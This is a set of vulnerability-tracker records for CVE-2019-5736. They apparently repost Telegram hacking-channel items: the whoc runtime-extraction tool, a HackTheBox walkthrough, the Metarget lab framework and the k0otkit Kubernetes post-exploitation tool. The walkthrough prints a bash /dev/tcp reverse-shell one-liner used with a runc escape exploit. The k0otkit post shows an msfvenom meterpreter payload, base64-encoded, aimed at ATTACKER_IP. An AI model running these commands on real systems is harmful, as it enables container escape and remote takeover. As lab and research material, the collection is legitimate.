runtime and sends it to a remote server. Poke at the underlying container runtime of your favorite CSP container platform!\n\n* WhoC at Defcon 29 Cloud Village\n* Azurescape - whoc-powered research, the first cross-account container takeover in the public cloud (70,000$ bounty) How does it work?As shown by runc CVE-2019-5736, traditional Linux container runtimes expose themselves to the containers they're running through /proc/self/exe. whocuses this link to read the container runtime executing it. Dynamic ModeThis is whocdefault mode that works against dynamically linked container runtimes.\n\n1. The whocimage entrypoint is set to /proc/self/exe, and the image's dynamic linker (ld.so) is replaced with fake_ld.\n2. Once the image is run, the container runtime re-executes itself inside the container.\n3. Given the runtime is dynamically linked, the kernel loads our fake dynamic linker to the runtime process and passes execution to it.\n4. fake_ldobtains a file descriptor for the runtime binary by opening /proc/self/exe, and executes upload_runtime.\n5. upload_runtimereads the runtime binary from /proc/self/fd/and sends it to the configured remote server. https://blogger.googleusercontent.com/img/a/AVvXsEi_95e_qg5fMsbP6treVFuqoow00IkE5tY4k2v5rsmgUjnDB1ca-bidnn2ZtSOCXuYiZ9cUbI7VZ04PibinnHx0rHSvAZbNVZKfc7BUJ814hdlYdazoGq5kcijHfXEySNffebbB1_wbu5wzuX_AmycCum_3VhhEtw1pRAS4lwLZumzqgUCJt0kHrev2Ew=w640-h360 Wait-For-Exec ModeFor statically linked container runtimes, whoccomes in another flavor: whoc:waitforexec.\n\n1. upload_runtimeis the image entrypoint, and runs as the whoccontainer PID 1.\n2. The user is expected to exec into the whoccontainer and invoke a file pointing to /proc/self/exe(e.g. docker exec whoc-ctr /proc/self/exe)\n3. Once the exec occurs, the container runtime re-executes itself inside the container\n4. upload_runtimereads the runtime binary through /proc/and sends it to the configured remote server https://blogger.googleusercontent.com/img/a/AVvXsEhbfCLFL3NwU1sTB4vduEhYxUm-_xbrXLOUlsfrgj0TSnTdcpcBZIDprF7te-xGhkLaYz1t7nttgwg-pZ2wCIzjawRmgpRK7-qwpL95QTsOooSZIgvX68UQb1pJVjNiqvhN_QstbYC0Z99gVA4ECkzjQ0pXXm-hhAb6xXqUUU5MhAJAU5fMs5d07rbu_Q=w640-h372 Try LocallyYou'll need dockerand python3installed. Clone the repository: $ git clone git@github.com:twistlock/whoc.gitSet up a file server to receive the extracted container runtime: $ cd whoc\n$ mkdir -p stash && cd stash\n$ ln -s ../util/fileserver.py fileserver \n$ ./fileserverFrom another shell, run the whocimage in your container environment of choice, for example Docker: $ cd whoc\n$ docker build -f Dockerfile_dynamic -t whoc:latest src  # or ./util/build.sh\n$ docker run --rm -it --net=host whoc:latest 127.0.0.1  # or ./util/run_local.shSee that the file server received the container runtime. Since we run whocunder vanilla Docker, the received container runtime should be runc. --net=hostis only used in local tests so that the whoccontainer could easily reach the fileserver on the host via 127.0.0.1. HelpHelp[...]\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-01T20:02:08.618136Z"}, {"uuid": "4e336098-6d90-491e-9808-8b96070a85cb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-5736", "type": "seen", "source": "https://t.me/hacking_Attack/27880", "content": "Hacking Articles|Raj Chandel's Blog\nTheNotebook HackTheBox Walkthrough\n\nWe\u2019ll look at another one of HackTheBox machines today, called \u201cTheNotebook.\u201d It is a medium difficulty box targeting commonly found threat of using insecure JWT token implementation. A user is able to gain access to the system by forging this token and adding desired values. We\u2019d own the root user by targeting it. Here is the methodology. Penetration Testing Methodology\u00b7 NmapExploitation\u00b7 Forging the JWT token with admin rights and self-generated private keyPrivilege Escalation\u00b7 Recovering SSH private key from an old backup directoryCVE-2019-5736)\n\n\u00b7 Gaining root accessReconMachine\u2019s IP was 10.129.211.197. The first step was to run nmap\u2019s aggressive scan to look for open ports. As you can see a port 80 was found to be open.nmap -A\u00a0 10.129.211.197https://blogger.googleusercontent.com/img/a/AVvXsEhxStGsjlqoMdg-fqQAmSSYabLKUUB9WK0xjmsnCcz4Olhw2YiFzSgatbKkR5xOP_nrszkGgwv8HwCkODldvhGafKXbu1VuEQH5r2jD9dmeM_3tdWq8mx6AkfTD4AyBjOK29y1jsozULsC75S92ZNEvnXnKX1hOBIkHxzFyWfWNA9QYQyAbHvOjkMrxoQ=s16000 The website opens up a note management tool. There was a register link too.ExploitationSo, we\u2019ll generate a private key, host it on our local server, and change the JWT header to my own key\u2019s location and try if the website fetches and authenticates using our key.openssl genrsa -out privKey.key 2048https://blogger.googleusercontent.com/img/a/AVvXsEiKERiNvpDJYi_lkt_ByiJjfSgLcDTk4f31yDqOV-xI5NycZ2Y5VPDStdO1s7owotkJQl8bczUrzbFbiETOBafn9hY-M7xqrs0B-pANDBQr3l3i3zm2FW0oS01eRW0HGJYuyRMR-Dq9ujfMwtluCI23UdUzADJrHxjhjT3vqy5VyKJMyg37fPBgfsvvFw=s16000 We\u2019d change the fields in our JWT header now and paste our own key in the field below for the token to verify the signature and successfully authenticate using my key.___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-01T20:02:13.239478Z"}, {"uuid": "854f785e-52b4-4e50-b7bc-9fdf43aa8408", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-5736", "type": "seen", "source": "https://t.me/hacking_Attack/27881", "content": "Look how we\u2019ve changed the location of key, admin_cap is set to true and pasted the key below. Note the color coding to comprehend how the JWT token is made.Privilege EscalationBefore opening this file up, we fired a netcat listener. Then after clicking on view can get a reverse shell. We convert this into a proper teletype first.python3 -c 'import pty;pty.spawn(\"/bin/bash\")'In the var/backups directory we saw home.tar.gz which was an old account backup.cp home.tar.gz /tmp/Smart thing to do here is do dumpster diving for old SSH keys. Luckily, we did find the SSH keys and copied this private key to our system.cat /home/noah/.ssh/id_rsahttps://blogger.googleusercontent.com/img/a/AVvXsEjwvANJPXv5FTFtiBAId3w59eLHbuKT_wrARKzdUTKZ2CVLCy0dVv4LyQuhw5IHceMZKDCs4_lDQfZqlWSgodwswH4PLVusDnxLbXlahquCzL3nqS5kiMyVG_v45v8xuDqvJG9mfKPTueVbsDaxFQhB61ZRYGVqzaKz7jy2pRaT6uMfDpvUik2-YKcu5g=s16000 We changed the permission on the key to \u201c600\u201d and logged in to noah\u2019s account using it.nano sshkeyThe user flag was in /home.sudo -lhttps://blogger.googleusercontent.com/img/a/AVvXsEjTJIozJU9Pj9tS2nTnTw2oI1D-d3_VRGOIIhgEDSPoVcjJsNKF4SuCEvPvI0VG60ZORFUVhJaerrhDTDVxezF08A9eFt_xv6MjwlU0aQb4fZ7f8ZqB-kZBwN3gqLUOGuyW7cdDVXBMEuLocISocyaNv_3Mz8ny3E2o1JtUtscj4z7tqcxwTfp7d2AEVg=s16000 We observed that version 18.06.0-ce was affected by CVE-2019-5736, a docker es[...]\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-01T20:02:13.278696Z"}, {"uuid": "0dd7dae1-9f4e-4979-b249-18eb53c67acf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-5736", "type": "seen", "source": "https://t.me/hacking_Attack/27882", "content": "cape vulnerability. The POC of the same can be found here. This exploit would let us overwrite and execute the host systems binary from within the container.git clone https://github.com/Frichetten/CVE-2019-5736-PoCHere, we\u2019ll modify the variable \u201cpayload\u201d with this bash one linerbash -i >& /dev/tcp/10.10.14.100/9999 0>&1And then we save thisgo build main.gohttps://blogger.googleusercontent.com/img/a/AVvXsEgW9TMQ9K5qnFrYZYaX6Lv99IdU-xEo8RkOZ2cI2v2bkM0TVlAdC19kVBoYLitevE-XVRbnhViBVsD6UsTg7MsiS2gqZ4ogqKYgkKbOy2CcKcEeFxBUckmXgSsaNOwc6MRtiY_6E70a_GfLzoZyZAD3HBlL8niHC7Y57l0UuM2CnV1SllU_T04v_Wdw6A=s16000 In the machine, we first jumped into the container using docker exec command.sudo /usr/bin/docker exec -it webapp-dev01 /bin/bashAfter that we\u2019ll copy the exploit in /tmp and execute itcd /tmphttps://blogger.googleusercontent.com/img/a/AVvXsEgbyf6kwyXDoTPrIXPjCDVXFUS7wifXeYV4X-rSkj9JmNBYs48NhEXGordCYRrd6PiUpS1s7dpZ9DpCPXs-cpir7dJlHpGGywFj88p61VXPEx8c3T37lflA8F2f7lyp2PO3u6ux5BRr7PQweBJNsoPWmNh1SiXT5HwvZOhRnljUV49JQkhXYRhLYufxZQ=s16000 Now, we\u2019ll open another window and log in using noah separately and execute the command docker exec command but the catch is that this time the binary \u201csh\u201d has been overwritten by our exploit and it would run the \u201cpayload\u201d that we defined in our exploit.sudo /usr/bin/docker exec -it webapp-dev01 shhttps://blogger.googleusercontent.com/img/a/AVvXsEg_JDDDCX_Gv2oTh_Y0t4LeQyZ_7Dtz_qQHodVBXhoJvbU1Vk84EHDrguV-OkkNTeou34_Gf9n02210Bw1TpUAnmJC8SgxftSVfUxfuWChptGT7Yhe_AMBtTq8Q9iBitj906twF9SrMHDaJjLlqVW9J2O5hwimFL8dOqyOgyybVpD_SanGHwPzL3VdF6Q=s16000 We fired up the window in which netcat was running and observe a shell had been prompted. This is the root of thenotebook!nc -lvp 9999We snagged the flag in /root directoryConclusionHence, this is how we were able to own the system access in the CTF TheNotebook. Please let us know in the comments how you found our approach and query any clarifications for any steps that you may need. Thanks for the read.___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-01T20:02:13.316381Z"}, {"uuid": "614bf174-f110-4d91-83fc-c520445ada3a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-5736", "type": "seen", "source": "https://t.me/hacking_Attack/11442", "content": "2.2 Manage Cloud Native (https://www.kitploit.com/search/label/Cloud%20Native) Components\n  usage: metarget gadget [-h] subcommand ...\n\npositional arguments:\n  subcommand  description\n    list      list supported gadgets\n    install   install gadgets\n    remove    uninstall gadgets\n\noptional arguments:\n  -h, --help  show this help message and exit\n  \n2.2.1 Case: Install Docker with Specified Version\n  Run:  ./metarget gadget install docker --version 18.03.1  If the command above completes successfully, 18.03.1 Docker will be installed.  \n2.2.2 Case: Install Kubernetes with Specified Version\n  Run:  ./metarget gadget install k8s --version 1.16.5  If the command above completes successfully, 1.16.5 Kubernetes single-node cluster will be installed.  Note:  Usually, lots of options need to be configured in Kubernetes. As a security research project, Metarget provides some options for installation of Kubernetes:    -v VERSION, --version VERSION\n                        gadget version\n  --cni-plugin CNI_PLUGIN\n                        cni plugin, flannel by default\n  --pod-network-cidr POD_NETWORK_CIDR\n                        pod network cidr, default cidr for each plugin by\n                        default\n  --taint-master        taint master node or not\n  Metarget supports deployment of multi-node cluster. If you want to add more nodes into the cluster, you can copy tools/install_k8s_worker.sh script and run it on each worker nodes after the successful installation of single-node cluster.  \n2.2.3 Case: Install Kata-containers with Specified Version\n  Run:  ./metarget gadget install kata --version 1.10.0  If the command above completes successfully, 1.10.0 Kata-containers will be installed.  Note:  You can also specify the type of kata runtime (qemu/clh/fc/...) with --kata-runtime-type option, which is qemu by default.  \n2.2.4 Case: Install Linux Kernel (https://www.kitploit.com/search/label/Linux%20Kernel) with Specified Version\n  Run:  ./metarget gadget install kernel --version 5.7.5  If the command above completes successfully, 5.7.5 kernel will be installed.  Note:  Currently, Metarget install kernels in 2 ways:    apt  if apt package is not available, download *.deb remotely from Ubuntu and try to install    After successful installation of kernel, reboot of system is needed. Metarget will prompt to reboot automatically.  \n2.3 Manage Vulnerable Scenes Related to Cloud Native Components\n  usage: metarget cnv [-h] subcommand ...\n\npositional arguments:\n  subcommand  description\n    list      list supported cloud native vulnerabilities\n    install   install cloud native vulnerabilities\n    remove    uninstall cloud native vulnerabilities\n\noptional arguments:\n  -h, --help  show this help message and exit\n  Run ./metarget cnv list to see vulnerable scenes related to cloud native components supported currently.  \n2.3.1 Case: CVE-2019-5736\n  Run:  ./metarget cnv install cve-2019-5736  If the command above completes successfully, Docker with CVE-2019-5736 will be installed\u3002  \n2.3.2 Case: CVE-2018-1002105\n  Run:  ./metarget cnv install cve-2018-1002105  If the command above completes successfully, Kubernetes with CVE-2018-1002105 will be installed\u3002  \n2.3.3 Case: Kata-containers Escape\n  Run:  ./metarget cnv install kata-escape-2020  If the command above completes successfully, Kata-containers with CVE-2020-2023/2025/2026 will be installed\u3002  \n2.3.4 Case: CVE-2016-5195\n  Run:  ./metarget cnv install cve-2016-5195  If the command above completes successfully, kernel with CVE-2016-5195 will be installed\u3002  \n2.4 Manage Vulnerable Scenes Related to Cloud Native Applications\n  usage: metarget appv [-h] subcommand ...\n\npositional arguments:\n  subcommand  description\n    list      list supported application vulnerabilities\n    install   install application vulnerabilities\n    remove    uninstall application vulnerabilities\n\noptional arguments:\n  -h, --help  show this help message and exit", "creation_timestamp": "2026-09-01T20:02:39.704651Z"}, {"uuid": "2aa2bd1e-a318-40f5-a573-69087b0cc110", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-5736", "type": "seen", "source": "https://t.me/hacking_Attack/11443", "content": "Run ./metarget appv list to see vulnerable scenes related to cloud native applications supported currently.  Note:  Before deploying application vulnerable scenes, you should install Docker and Kubernetes firstly. You can use Metarget to install Docker and Kubernetes.  \n2.4.1 Case: DVWA\n  Run:  ./metarget appv install dvwa  If the command above completes successfully, DVWA (https://github.com/digininja/DVWA) will be deployed as Deployment and Service resources in current Kubernetes.  Note:  You can specify --external option, then the service will be exposed as NodePort, so that you can visit it by IP of the host node.  By default, the type of service is ClusterIP.  \n2.5 Manage Vulnerable Cloud Native Target Cluster\n  Developing, currently not supported.  \n3 Installation\n  \n3.1 Requirements\n    Ubuntu 16.04 or 18.04  Python >= 3.5  pip3    \n3.2 From Source\n  Clone the repository and install requirements:  git clone https://github.com/brant-ruan/metarget.git\ncd metarget/\npip install -r requirements.txt  Begin to use Metarget and construct vulnerable scenes. For example:  ./metarget cnv install cve-2019-5736  \n3.3 From PyPI\n  Currently unsupported.  \n4 Scene List\n  \n4.1 Vulnerable Scenes Related to Cloud Native Components\n    Name  Class  Type  CVSS 3.x  Status      cve-2018-15664 (https://github.com/brant-ruan/metarget/blob/master/vulns_cn/docker/cve-2018-15664.yaml)  docker  container_escape  7.5 (https://nvd.nist.gov/vuln/detail/CVE-2018-15664)  \u2705      cve-2019-13139 (https://github.com/brant-ruan/metarget/blob/master/vulns_cn/docker/cve-2019-13139.yaml)  docker  command_execution  8.4 (https://nvd.nist.gov/vuln/detail/CVE-2019-13139)  \u2705      cve-2019-14271 (https://github.com/brant-ruan/metarget/blob/master/vulns_cn/docker/cve-2019-14271.yaml)  docker  container_escape  9.8 (https://nvd.nist.gov/vuln/detail/CVE-2019-14271)  \u2705      cve-2020-15257 (https://github.com/brant-ruan/metarget/blob/master/vulns_cn/docker/cve-2020-15257.yaml)  docker/containerd  container_escape  5.2 (https://nvd.nist.gov/vuln/detail/CVE-2020-15257)  \u2705      cve-2019-5736 (https://github.com/brant-ruan/metarget/blob/master/vulns_cn/docker/cve-2019-5736.yaml)  docker/runc  container_escape  8.6 (https://nvd.nist.gov/vuln/detail/CVE-2019-5736)  \u2705      cve-2017-1002101 (https://github.com/brant-ruan/metarget/blob/master/vulns_cn/kubernetes/cve-2017-1002101.yaml)  kubernetes  container_escape  9.6 (https://nvd.nist.gov/vuln/detail/CVE-2017-1002101)  \u2705      cve-2018-1002105 (https://github.com/brant-ruan/metarget/blob/master/vulns_cn/kubernetes/cve-2018-1002105.yaml)  kubernetes  privilege_escalation  9.8 (https://nvd.nist.gov/vuln/detail/CVE-2018-1002105)  \u2705      cve-2019-11253 (https://github.com/brant-ruan/metarget/blob/master/vulns_cn/kubernetes/cve-2019-11253.yaml)  kubernetes  denial_of_service  7.5 (https://nvd.nist.gov/vuln/detail/CVE-2019-11253)  \u2705      cve-2019-9512 (https://github.com/brant-ruan/metarget/blob/master/vulns_cn/kubernetes/cve-2019-9512.yaml)  kubernetes  denial_of_service  7.5 (https://nvd.nist.gov/vuln/detail/CVE-2019-9512)  \u2705      cve-2019-9514 (https://github.com/brant-ruan/metarget/blob/master/vulns_cn/kubernetes/cve-2019-9514.yaml)  kubernetes  denial_of_service  7.5 (https://nvd.nist.gov/vuln/detail/CVE-2019-9514)  \u2705      cve-2020-8554 (https://github.com/brant-ruan/metarget/blob/master/vulns_cn/kubernetes/cve-2020-8554.yaml)  kubernetes  man_in_the_middle  5.0 (https://nvd.nist.gov/vuln/detail/CVE-2020-8554)  \u2705      cve-2020-8557 (https://github.com/brant-ruan/metarget/blob/master/vulns_cn/kubernetes/cve-2020-8557.yaml)  kubernetes  denial_of_service  5.5 (https://nvd.nist.gov/vuln/detail/CVE-2020-8557)  \u2705      cve-2020-8558 (https://github.com/brant-ruan/metarget/blob/master/vulns_cn/kubernetes/cve-2020-8558.yaml)  kubernetes  exposure_of_service  8.8 (https://nvd.nist.gov/vuln/detail/CVE-2020-8558)  \u2705      cve-2016-5195 (https://github.com/brant-ruan/metarget/blob/master/vulns_cn/kernel/cve-2016-5195.yaml)  kernel", "creation_timestamp": "2026-09-01T20:02:39.062549Z"}, {"uuid": "f91fcb21-9472-4c07-af8c-1602a5f379d5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-5736", "type": "seen", "source": "https://t.me/hacking_Attack/11441", "content": "1 Introduction\n  Metarget = meta- + target, a framework providing automatic constructions of vulnerable infrastructures, used to deploy simple or complicated vulnerable cloud native targets swiftly and automatically.  \n1.1 Why Metarget?\n  During security researches, we might find that the deployment of vulnerable environment often takes much time, while the time spent on testing PoC or ExP is comparatively short. In the field of cloud native security, thanks to the complexity of cloud native systems, this issue is more terrible.  There are already some excellent security projects like Vulhub (https://github.com/vulhub/vulhub), VulApps (https://github.com/Medicean/VulApps) in the open-source community, which pack vulnerable scenes into container images, so that researchers could utilize them and deploy scenes quickly.  However, these projects mainly focus on vulnerabilities (https://www.kitploit.com/search/label/vulnerabilities) in applications. What if we need to study the vulnerabilities in the infrastructures like Docker, Kubernetes and even Linux kernel?  Hence, we develop Metarget and hope to solve the deployment issue above to some extent. Furthermore, we also expect that Metarget could help to construct multilayer vulnerable cloud native scenes automatically.  \n1.2 Install Vulnerability!\n  In this project, we come up with concepts like installing vulnerabilities and installing vulnerable scenes. Why not install vulnerabilities just like installing softwares? We can do that, because our goals are security research and offensive security.  To be exact, we expect that:    metarget cnv install cve-2019-5736 will install Docker with CVE-2019-5736 onto the server.  metarget cnv install cve-2018-1002105 will install Kubernetes with CVE-2018-1002105 onto the server.  metarget cnv install kata-escape-2020 will install Kata-containers with CVE-2020-2023/2025/2026 onto the server.  metarget cnv install cve-2016-5195 will install a kernel with DirtyCoW into the server.    It's cool, right? No more steps. No RTFM. Execute one command and enjoy your coffee.  Furthermore, we expect that:    with Metarget's help, ethical hackers are able to deploy simple or complicated cloud native targets swiftly and learn by hacking cloud native environments.  metarget appv install dvwa will install a DVWA (https://github.com/digininja/DVWA) target onto our vulnerable infrastructure.  metarget appv install thinkphp-5-0-23-rce --external will install a ThinkPHP RCE vulnerability (https://www.kitploit.com/search/label/Vulnerability) with NodePort service onto our vulnerable infrastructure.    You can just run 5 commands below after installing a new Ubuntu and obtain a multi-layer vulnerable scene:  ./metarget cnv install cve-2016-5195 # container escape with dirtyCoW\n./metarget cnv install cve-2019-5736 # container escape with docker\n./metarget cnv install cve-2018-1002105 # kubernetes single-node cluster with cve-2018-1002105\n./metarget cnv install privileged-container # deploy a privileged container\n./metarget appv install dvwa --external # deploy dvwa target  RCE, container escape, lateral movement, persistence, they are yours now.  More awesome functions are coming! Stay tuned :)  Note:  Thie project aims to provide vulnerable scenes for security research. The security of scenes generated is not guaranteed. It is NOT recommended to deploy components or scenes with Metarget on the Internet.  \n2 Usage\n  \n2.1 Basic Usage\n  usage: metarget [-h] [-v] subcommand ...\n\nautomatic constructions of vulnerable infrastructures\n\npositional arguments:\n  subcommand     description\n    gadget       cloud native gadgets (docker/k8s/...) management\n    cnv          cloud native vulnerabilities management\n    appv         application vulnerabilities management\n\noptional arguments:\n  -h, --help     show this help message and exit\n  -v, --version  show program's version number and exit\n  Run ./metarget gadget list to see cloud native components supported currently.", "creation_timestamp": "2026-09-01T20:02:39.969656Z"}, {"uuid": "ab18f230-5c68-4ef1-b578-fd6de4551269", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-5736", "type": "seen", "source": "https://t.me/hacking_Attack/61385", "content": "Kali Linux Tutorials\nK0Otkit : Universal Post-Penetration Technique Which Could Be Used In Penetrations Against Kubernetes Clusters\n\nk0otkit is a universal post-penetration technique which could be used in penetrations against Kubernetes clusters.\n\nWith k0otkit, you can manipulate all the nodes in the target Kubernetes cluster in a rapid, covert and continuous way (reverse shell).\n\nk0otkit is the combination of Kubernetes\u00a0and rootkit.\n\nPrerequisite:\n\nk0otkit is a post-penetration tool, so you have to firstly conquer a cluster, somehow manage to escape from the container and get the root privilege of the master node (to be exact, you should get the admin privilege of the target Kubernetes).\n\nScenario:\n\n* After Web penetration, you get a shell of the target.\n* If necessary, you manage to escalate the privilege and make it.\n* You find the target environment is a container (Pod) in a Kubernetes cluster.\n* You manage to escape from the container and make it (with CVE-2016-5195, CVE-2019-5736, docker.sock or other techniques).\n* You get a root shell of the master node and are able to instruct the cluster with kubectlon the master node as admin.\n* Now you want to control all the nodes in the cluster as quickly as possible. Here comes k0otkit!\n\nk0otkit is detailed in k0otkit: Hack K8s in a K8s Way. UsageMake sure you have got the root shell on the master node of the target Kubernetes. (You can also utilize k0otkit if you have the admin privilege of the target Kubernetes, though you might need to modify the kubectlcommand in k0otkit_template.shto use the token or certification.)\n\nMake sure you have installed Metasploit on your attacker host (msfvenom\u00a0and msfconsoleshould be available).\n\nDeploy k0otkit\n\nClone this repository:\n\ngit clone https://github.com/brant-ruan/k0otkit\ncd k0otkit/\nchmod +x ./*.sh\n\nReplace the attacker\u2019s IP and port in pre_exp.shwith your own IP and port:\n\nATTACKER_IP=192.168.1.107\nATTACKER_PORT=4444\n\nGenerate k0otkit\n\n./pre_exp.sh k0otkit.shwill be generated. Then run the reverse shell handler:\n\n./handle_multi_reverse_shell.sh\n\nOnce the handler is ready, copy the content of k0otkit.shand paste it into your shell on the master node of the target Kubernetes, then press to execute it.\n\nWait a moment and enjoy reverse shells from all nodes https://s.w.org/images/core/emoji/14.0.0/72x72/1f642.png \n\nP.S. It is not limited how many Kubernetes clusters you manipulate with k0otkit.\n\nInteract with Shells\n\nAfter the successful deployment of k0otkit, you can interact with any reverse shell as you want: Features* utilize K8s resources and features (hack K8s in a K8s way)\n* dynamic container injection\n* communication encryption (thanks to Meterpreter)\n* fileless ExampleGenerate k0otkit:\n\nkali@kali:~/k0otkit$ ./pre_exp.sh\n\n* ATTACKER_IP=192.168.1.107\n* ATTACKER_PORT=4444\n* TEMP_MRT=mrt\n* msfvenom -p linux/x86/meterpreter/reverse_tcp LPORT=4444 LHOST=192.168.1.107 -f elf -o mrt\n++ xxd -p mrt\n++ tr -d \u2018\\n\u2019\n++ base64 -w 0\n* PAYLOAD=N2Y0NTRjNDYwMTAxMDEwMDAwMDAwMDAwMDAwMDAwMDAwMjAwMDMwMDAxMDAwMDAwNTQ4MDA0MDgzNDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAzNDAwMjAwMDAxMDAwMDAwMDAwMDAwMDAwMTAwMDAwMDAwMDAwMDAwMDA4MDA0MDgwMDgwMDQwOGNmMDAwMDAwNGEwMTAwMDAwNzAwMDAwMDAwMTAwMDAwNmEwYTVlMzFkYmY3ZTM1MzQzNTM2YTAyYjA2Njg5ZTFjZDgwOTc1YjY4YzBhODEzZjM2ODAyMDAxMTVjODllMTZhNjY1ODUwNTE1Nzg5ZTE0M2NkODA4NWMwNzkxOTRlNzQzZDY4YTIwMDAwMDA1ODZhMDA2YTA1ODllMzMxYzljZDgwODVjMDc5YmRlYjI3YjIwN2I5MDAxMDAwMDA4OWUzYzFlYjBjYzFlMzBjYjA3ZGNkODA4NWMwNzgxMDViODllMTk5YjI2YWIwMDNjZDgwODVjMDc4MDJmZmUxYjgwMTAwMDAwMGJiMDEwMDAwMDBjZDgw\n* sed s/PAYLOAD_VALUE_BASE64/N2Y0NTRjNDYwMTAxMDEwMDAwMDAwMDAwMDAwMDAwMDAwMjAwMDMwMDAxMDAwMDAwNTQ4MDA0MDgzNDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAzNDAwMjAwMDAxMDAwMDAwMDAwMDAwMDAwMTAwMDAwMDAwMDAwMDAwMDA4MDA0MDgwMDgwMDQwOGNmMDAwMDAwNGEwMTA[...]\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-02T01:01:44.335503Z"}, {"uuid": "d4a38966-299e-43fc-93db-f7e2db757c21", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-5736", "type": "seen", "source": "https://t.me/hacking_Attack/39302", "content": "Kali Linux Tutorials\nWhoc : A Container Image That Extracts The Underlying Container Runtime\n\nWhoc is a container image that extracts the underlying container runtime and sends it to a remote server. Poke at the underlying container runtime of your favorite CSP container platform!\n\n* WhoC at Defcon 29 Cloud Village\n* Azurescape\u00a0\u2013 whoc-powered research, the first cross-account container takeover in the public cloud (70,000$ bounty) How does it work?\n\nAs shown by runc\u00a0CVE-2019-5736, traditional Linux container runtimes expose themselves to the containers they\u2019re running through /proc/self/exe. whocuses this link to read the container runtime executing it. Dynamic Mode\n\nThis is whocdefault mode that works against dynamically linked container runtimes.\n\n* The whocimage entrypoint is set to /proc/self/exe, and the image\u2019s dynamic linker (ld.so) is replaced with upload_runtime.\n* Once the image is run, the container runtime re-executes itself inside the container.\n* Given the runtime is dynamically linked, the kernel loads our fake dynamic linker (upload_runtime) to the runtime process and passes execution to it.\n* upload_runtimereads the runtime binary through /proc/self/exeand sends it to the configured remote server.\nhttps://blogger.googleusercontent.com/img/a/AVvXsEjocHBrqL-1DeWdgr84G9KTBwDuhOUH7iRkxmcMXWsXQnjtpQlcRlxf25x_Xv96NyR2T3Bd9jzEQBjtNFLfqZKx1FwIjPPzTasqAwRcH0_J60IuHDX9nGeMR_v9yUdB7BghvzW5znr5b3PjSrDk-KZ9DEuFMWend1XtmXY4oyh11Mfgtoc-YgLbHCYN=s571 \nWait-For-Exec Mode\n\nFor statically linked container runtimes, whoccomes in another flavor: whoc:waitforexec.\n\n* upload_runtimeis the image entrypoint, and runs as the whoccontainer PID 1.\n* The user is expected to exec into the whoccontainer and invoke a file pointing to /proc/self/exe(e.g. docker exec whoc_ctr /proc/self/exe).\n* Once the exec occurs, the container runtime re-executes itself inside the container.\n* upload_runtimereads the runtime binary through /proc/$runtime-pid/exeand sends it to the configured remote server.\nhttps://blogger.googleusercontent.com/img/a/AVvXsEjYUPEISvlrTOOIHWJ2ekop9nHLKToBwpf54UfVgSVe-QYm7Fj6wmq1Ms7EqHTr0Ii86_41fgPuwX59E2lcVgVUXUVo2PbVwAPFS4oy-mts1mfmuUURo3c8VgHmgmW2ijLhyoVkkwH0Z3AEREI_zx5YKSeTWNUytVlP7xmSLU7pie5C8gNV3pxFZr92=s571 \nTry Locally\n\nYou\u2019ll need dockerand python3installed. Clone the repository:\n\n$ git clone git@github.com:twistlock/whoc.git\n\nSet up a file server to receive the extracted container runtime:\n\n$ cd whoc\n$ mkdir -p stash && cd stash\n$ ln -s ../util/fileserver.py fileserver\n$ ./fileserver\n\nFrom another shell, run the whocimage in your container environment of choice, for example Docker:\n\n$ cd whoc\n$ docker build -f Dockerfile_dynamic -t whoc:latest src # or ./util/build.sh\n$ docker run \u2013rm -it \u2013net=host whoc:latest 127.0.0.1 # or ./util/run_local.sh\n\nSee that the file server received the container runtime. If you run whocunder vanilla Docker, the received container runtime should be\u00a0runc. --net=hostis only used in local tests so that the whoccontainer could easily reach the fileserver on the host via 127.0.0.1. Other Platforms\n\nBy default whocis built for linux/amd64, but it also supports other CPU architectures. Wait-for-exec mode can be built as usual. To build whocin dynamic mode for other CPU architectures, you must populate the PLATFORM_LD_PATH_ARGbuild argument with the path of the dynamic linker on the target architecture.\n\nAn example build script for arm64is available at util/build_arm64.sh[...]\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-02T01:02:21.549558Z"}, {"uuid": "11a794ff-d1ff-4399-87e5-b4470bf752b1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-5736", "type": "seen", "source": "https://t.me/hacking_Attack/32550", "content": "KitPloit - PenTest Tools!\nWhoc - A Container Image That Extracts The Underlying Container Runtime\n\nhttps://blogger.googleusercontent.com/img/a/AVvXsEi_95e_qg5fMsbP6treVFuqoow00IkE5tY4k2v5rsmgUjnDB1ca-bidnn2ZtSOCXuYiZ9cUbI7VZ04PibinnHx0rHSvAZbNVZKfc7BUJ814hdlYdazoGq5kcijHfXEySNffebbB1_wbu5wzuX_AmycCum_3VhhEtw1pRAS4lwLZumzqgUCJt0kHrev2Ew=w640-h360 A container image that extracts the underlying container runtime and 